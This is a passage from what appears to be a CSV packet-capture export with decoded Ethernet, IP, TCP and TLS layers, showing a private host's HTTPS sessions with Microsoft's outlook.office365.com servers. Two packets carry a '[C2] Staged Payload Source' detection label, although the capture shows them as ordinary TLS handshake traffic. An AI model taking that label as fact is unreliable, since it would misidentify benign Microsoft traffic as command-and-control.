bf80d5f8976ff32c39f23db36b6a20e7a9dc970b24ca9561653a0f6057098336a7cc0c4a12a1b2bea63cb816254fd33aedb6d26a9eef177cf1bca6b5fdff123be6ab580892825fc5a4003e,\".$.6\n..$.)....E....~@.@...(h>.\n..........>.9.,P..?.M......p........\"\"..m....\\.....=..{....1....t.R....cU......Q...=..$..n.zN.By..k.z...E......Fo.....4o.PH.8...#zOm.....?@......qN..v.....@L.............,'..3..RZMWT-..;.&.....d.$?,AYZ..k..+..*.b.so........ IS.}.4_Wd.z..{.T.&j....l..I..t.o0.(5\nR..0..=X..[\"\".pd..^kZ'.\n.....w$........W.V............V..q.Mf..\\=h.o&9.....v.%....^...W_a....H..NK+a...2.....g*].m..F%..........$....x).5....t-.e^..j.pK.G.....&..8.-.N..........\tw..E..y.)..W...[...n.m..........8x...4<....SC.Q...Ca.,....../w0`.x.....^....k..q.V1#....63j..*..........+$/....k?..._.\n..N.q2~y...:.T.Q..P#......o.,9.=.kj .....$..ae:.`W\t.6...J.....<..%O.:...j...|.......;..X..._...>\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 669, \"\"id\"\": 40062, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37407, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251467326, \"\"ack\"\": 507096364, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3149, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 624, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\"\"\\\\xcd\\\\xfem\\\\xde\\\\xad\\\\x95\\\\xab\\\\\\\\\\\\x83\\\\xd7\\\\xb7\\\\xad\\\\xe3=\\\\x8d\\\\x19{\\\\x8d\\\\xd0\\\\x10\\\\x961\\\\x98\\\\x9f\\\\x8b\\\\xbet\\\\x1dR\\\\xd4\\\\x1d\\\\x06\\\\xdacU\\\\xe4\\\\xf5\\\\x92\\\\xc9\\\\xe9\\\\x1bQ\\\\xed\\\\xd3\\\\xbe=\\\\xf3\\\\xd3$\\\\xb8\\\\x95n\\\\xb5zN\\\\x95By\\\\xf7\\\\xeck\\\\xa2z\\\\x11\\\\xb7\\\\x8aE\\\\x88\\\\xbf\\\\xca\\\\x1f\\\\xaf\\\\xf5Fo\\\\xcd\\\\xfd\\\\x02\\\\xfe\\\\xc44o\\\\x12PH\\\\x818\\\\x13\\\\x9e\\\\x18#zOm\\\\x00\\\\x9b\\\\x9f\\\\x8b\\\\x11?@\\\\x95\\\\x19\\\\xfe\\\\xd2\\\\xcc\\\\xfeqN\\\\xb1\\\\x80v\\\\xa6\\\\xf6\\\\x17\\\\x8f\\\\xb4@L\\\\x94\\\\xaf\\\\xa3\\\\xd9\\\\xbe\\\\x87\\\\xa3\\\\x8b\\\\xcb\\\\xcd\\\\x0c\\\\xfe\\\\xc1,\\\\'\\\\xfd\\\\xec3\\\\xe0\\\\x9fRZMWT-\\\\xe2\\\\xb4;.&\\\\x9e\\\\x9d\\\\xa1\\\\xeb\\\\xc0d\\\\x10$?,AYZ\\\\x1e\\\\xf5k\\\\x80\\\\x86+\\\\x9b\\\\x08*\\\\xbeb\\\\x98so\\\\xe5\\\\x1b\\\\xf8\\\\x13\\\\x18\\\\xaf\\\\xc0\\\\xe4 IS\\\\x17}\\\\x0b4_Wd\\\\xaez\\\\xc2\\\\xe5{\\\\x9aT\\\\x07&j\\\\xd5\\\\xc1\\\\xc8\\\\x93l\\\\x15\\\\xb1I\\\\xea\\\\x94t\\\\xabo0\\\\xe9(5\\\\rR\\\\x87\\\\x970\\\\xec\\\\xb9=X\\\\xbb\\\\x80[\\\"\"\\\\x02pd\\\\x01\\\\xf1^kZ\\\\'\\\\x12\\\\n\\\\x93\\\\xa3\\\\xd7\\\\xea\\\\x00w$\\\\xcf\\\\xb7\\\\xc5\\\\xeb\\\\xee\\\\x99\\\\xe6\\\\xffW\\\\xbcV\\\\x83\\\\xb7\\\\x90\\\\x02\\\\x83\\\\xb4\\\\xf6\\\\x98\\\\xac\\\\x1e\\\\xb5\\\\x17V\\\\xe3\\\\x93q\\\\xf0Mf\\\\xd0\\\\xd4\\\\\\\\=h\\\\xdeo&9\\\\x03\\\\xc0\\\\xa5\\\\xc3\\\\x91v\\\\xa4%\\\\xb3\\\\xcb\\\\x9b\\\\x1b^\\\\x9f\\\\xf7\\\\xfdW_a\\\\x02\\\\x85\\\\xee\\\\x99H\\\\xa7\\\\xf5NK+a\\\\xd3\\\\xa8\\\\x822\\\\x94\\\\x96\\\\xb3\\\\x96\\\\xa7g*]\\\\xd1m\\\\x0f\\\\xcaF%\\\\x9b\\\\xe6\\\\xdb\\\\xcd\\\\x8a\\\\x0e\\\\xa8\\\\xd7\\\\xcd\\\\xe3$\\\\x18\\\\x17\\\\xaa\\\\xdex)\\\\x0e5\\\\xbb\\\\x8b\\\\xf5\\\\xc8t-\\\\xb2e^\\\\x81\\\\x06j\\\\x07pK\\\\x1bG\\\\xcb\\\\x99\\\\xfd\\\\xf6\\\\xc0&\\\\x01\\\\xaa8\\\\xc4-\\\\xbcN\\\\x80\\\\x14\\\\xc1\\\\xa1\\\\x92\\\\x93\\\\xa4\\\\xfd\\\\x16\\\\xb7\\\\tw\\\\xf9\\\\xc9E\\\\xb3\\\\x91y\\\\xad)\\\\x11\\\\xf0W\\\\x1f\\\\xe4\\\\xb5[\\\\x96\\\\x08\\\\x17n\\\\xaem\\\\x86\\\\x95\\\\xae\\\\x90\\\\xda\\\\xeb\\\\xb5\\\\x13\\\\xd6\\\\xa78x\\\\xdc\\\\x11\\\\xd94<\\\\xf1\\\\x9c\\\\x1b\\\\xdbSC\\\\x8aQ\\\\xcd\\\\xb7\\\\x93Ca\\\\x95,\\\\xaf\\\\x83\\\\x1f\\\\x9f\\\\x1f\\\\xa7/w0`\\\\xc3x\\\\xb1\\\\xaa\\\\xe9\\\\xb0\\\\x96^\\\\x94\\\\xfd\\\\xb9\\\\xb7k\\\\xae\\\\x94q\\\\x01V1#\\\\xc3\\\\x84\\\\xca\\\\xb763j\\\\x02\\\\xd1*\\\\xbc\\\\x13\\\\xa9\\\\xdd\\\\x87\\\\xe4\\\\x03\\\\xb7\\\\xff\\\\x95+$/\\\\x0e\\\\x9b\\\\x98\\\\xadk?\\\\xd5\\\\x11\\\\x1c_\\\\x08\\\\r\\\\x02\\\\xfbN\\\\xe1q2~y\\\\x15\\\\xf5\\\\x87:\\\\xd2T\\\\xc7Q\\\\xd6\\\\xeaP#\\\\x1e\\\\xbf\\\\x80\\\\xd5\\\\xf8\\\\x97o\\\\xf3,9\\\\xf2=\\\\xb3kj \\\\xe7\\\\xa9\\\\xdc\\\\x97\\\\x0b$\\\\xca\\\\x95ae:\\\\x0f`W\\\\t\\\\x836\\\\xa7\\\\xcc\\\\x0cJ\\\\x12\\\\xa1\\\\xb2\\\\xbe\\\\xa6<\\\\xb8\\\\x16%O\\\\xd3:\\\\xed\\\\xb6\\\\xd2j\\\\x9e\\\\xef\\\\x17|\\\\xf1\\\\xbc\\\\xa6\\\\xb5\\\\xfd\\\\xff\\\\x12;\\\\xe6\\\\xabX\\\\x08\\\\x92\\\\x82_\\\\xc5\\\\xa4\\\\x00>' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:49.108959,57,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507096364 Ack=251467955,bc24112907bbbc2411360d0c080045000028968b400080065a870a98980b28683eb2f9de01bb1e39ad2c0efd18b3501003fab36d0000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9.,....P....m..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38539, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23175, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096364, \"\"ack\"\": 251467955, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 45933, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:50.277025,58,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1686838184 Ack=0,bc24112907bbbc2411360d0c080045000034f1d5400080062dac0a98980b2862103df9f901bb648b1ba8000000008002ffff17e60000020405b40103030801010402,\".$.)...$.6\n...E..4..@...-.\n...(b.=....d...........................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 61909, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11692, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838184, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 6118, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:16:50.277042,59,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3062731510 Ack=1686838185,bc2411360d0cbc24112907bb0800450000340000400040065f822862103d0a98980b01bbf9f9b68d92f6648b1ba98012faf0db680000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@._.(b.=\n...........d........h.............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 24450, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062731510, \"\"ack\"\": 1686838185, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 56168, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:16:50.277362,60,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686838185 Ack=3062731511,bc24112907bbbc2411360d0c080045000028f1d6400080062db70a98980b2862103df9f901bb648b1ba9b68d92f7501004000b240000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d.......P....$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61910, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11703, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838185, \"\"ack\"\": 3062731511, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 2852, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:50.278225,61,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1686838185 Ack=3062731511,bc24112907bbbc2411360d0c0800450000f6f1d7400080062ce80a98980b2862103df9f901bb648b1ba9b68d92f75018040093a9000016030300c9010000c503036a2f1a4127f3a6ced3f5d9011989f48c68feb04ffc9db56426b14ec8b1193814000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000760000001a00180000156f75746c6f6f6b2e6f66666963653336352e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...,.\n...(b.=....d.......P..................j/.A'...........h..O...d&.N...8...&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...v.........outlook.office365.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 246, \"\"id\"\": 61911, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11496, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838185, \"\"ack\"\": 3062731511, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 37801, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 201, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=197 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:16:49  (1781471809) random_bytes=27f3a6ced3f5d9011989f48c68feb04ffc9db56426b14ec8b1193814 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=118 ext=[<TLS_Ext_ServerName  type=server_name len=26 servernameslen=24 servernames=[b'outlook.office365.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:50.278233,62,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062731511 Ack=1686838391,bc2411360d0cbc24112907bb0800450000283f084000400620862862103d0a98980b01bbf9f9b68d92f7648b1c775010003fdb5c0000,\".$.6\n..$.)....E..(?.@.@. .(b.=\n...........d..wP..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16136, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8326, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062731511, \"\"ack\"\": 1686838391, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:50.614310,63,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=3062731511 Ack=1686838391,bc2411360d0cbc24112907bb080045000d803f0940004006132d2862103d0a98980b01bbf9f9b68d92f7648b1c775018003fe8b4000016030311070200006203036a2eb7d2920d3ca8b68394e7c98a656c6ea22b388a511f63444f574e47524401205f110000b8ecfa2b7346ba335697a07a381edb9e4f5bcbcceb8e294d6abdb930c03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c